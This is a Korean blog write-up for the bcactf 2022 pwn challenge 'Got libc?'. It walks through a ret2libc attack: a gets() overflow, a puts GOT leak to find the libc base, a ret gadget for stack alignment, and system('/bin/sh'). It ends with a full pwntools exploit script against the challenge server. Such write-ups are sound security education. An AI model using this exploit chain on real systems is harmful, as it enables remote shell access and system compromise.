-
[bcactf] Got libc?CTF/pwn 2022. 6. 8. 16:22
Got libc?
이름부터 got plt와 libc를 활용할 것 같은 느낌이 든다.
메인 함수에서는 gets() 함수를 실행시키고 코드가 끝난다.
그런데 입력받을 배열이 보이지 않아 gdb로 다시 봐봤다.
배열의 위치는 rbp-0x20이다.
오버플로우를 일으켜 여러 정보를 leak 하고 최종적으로는 system("/bin/sh")를 실행시켜야 한다.
다행히도 pie와 canary는 없다!
우선, ROP에 필요한 gadget들을 알아내야 한다.
64비트의 인자 전달 순서는 rdi, rsi, rdx ... 순서이다.
편의상 인자가 하나만 필요한 puts와 system을 이용해 leak을 할 것이기에 pop rdi; ret만 가져왔다.
puts의 got를 인자로 넘겨 puts 함수를 실행시켜 실제 주소를 알아온다.
복귀 주소는 main 함수로 설정해 다시 한 번 gets 함수를 실행시킬 수 있도록 한다.
함수의 실제 주소를 알아온 뒤, libc에서 puts함수의 offset을 빼주면 libcbase를 구할 수 있을 것이다.
끝의 3자리가 000으로 끝나는 것을 보니 libcbase를 잘 구한 것으로 보인다.
이제 이를 바탕으로 system("/bin/sh")를 실행시킬 것이다.
인자에 필요한 "/bin/sh" 문자열은 libc 파일에서 찾아왔다.
이렇게 payload를 보냈다!! 그런데..
에러가 났는지 쉘이 따지지 않았다.
그 이유는 Ubuntu 18.04 버전 부터는 system 함수를 실행시킬 때, movaps가 추가됐다.
movaps 인스트럭션은 stack alignment를 무조건 필요로 하기 때문에 system 함수를 실행시킬 때는 스택 끝자리 주소가 0으로 끝나야 한다.
나의 경우에는 끝자리가 8로 끝났을 것이므로 의미 없는 ret 명령어를 추가하여 stack을 맞춰주었다. ret 명령어는 ROPgadget으로 구했다.
from pwn import * p = remote('bin.bcactf.com', 49176) #p = process('./got-libc') e = ELF('./got-libc') libc = ELF('./libc.so.6') binsh = 0x1b75aa rdi = 0x0000000000401253 ret = 0x000000000040101a #context.log_level = 'debug' payload = b'a'*0x28 payload += p64(rdi) payload += p64(e.got['puts']) payload += p64(e.plt['puts']) payload += p64(e.symbols['main']) p.sendlineafter(b'libc?', payload) p.recvline() leak = u64(p.recvline()[:-1]+b'\x00\x00') print("leak = ", hex(leak)) base = leak - libc.symbols['puts'] print("base = ", hex(base)) payload = b'a'*0x28 payload += p64(ret) payload += p64(rdi) payload += p64(base+binsh) payload += p64(base+libc.symbols['system']) p.sendlineafter(b'libc?', payload) p.interactive()
entire payload
'CTF > pwn' 카테고리의 다른 글
[GDG] MindGame (부제: 파이썬에서 c 함수 실행시키기) (0) 2022.10.10 [bcactf] Format Fortune (0) 2022.06.08 [bcactf] Jump Rope (0) 2022.06.08 [bcactf] BOF Shop (0) 2022.06.08 [b01lers ] gambler-overflow (0) 2022.05.08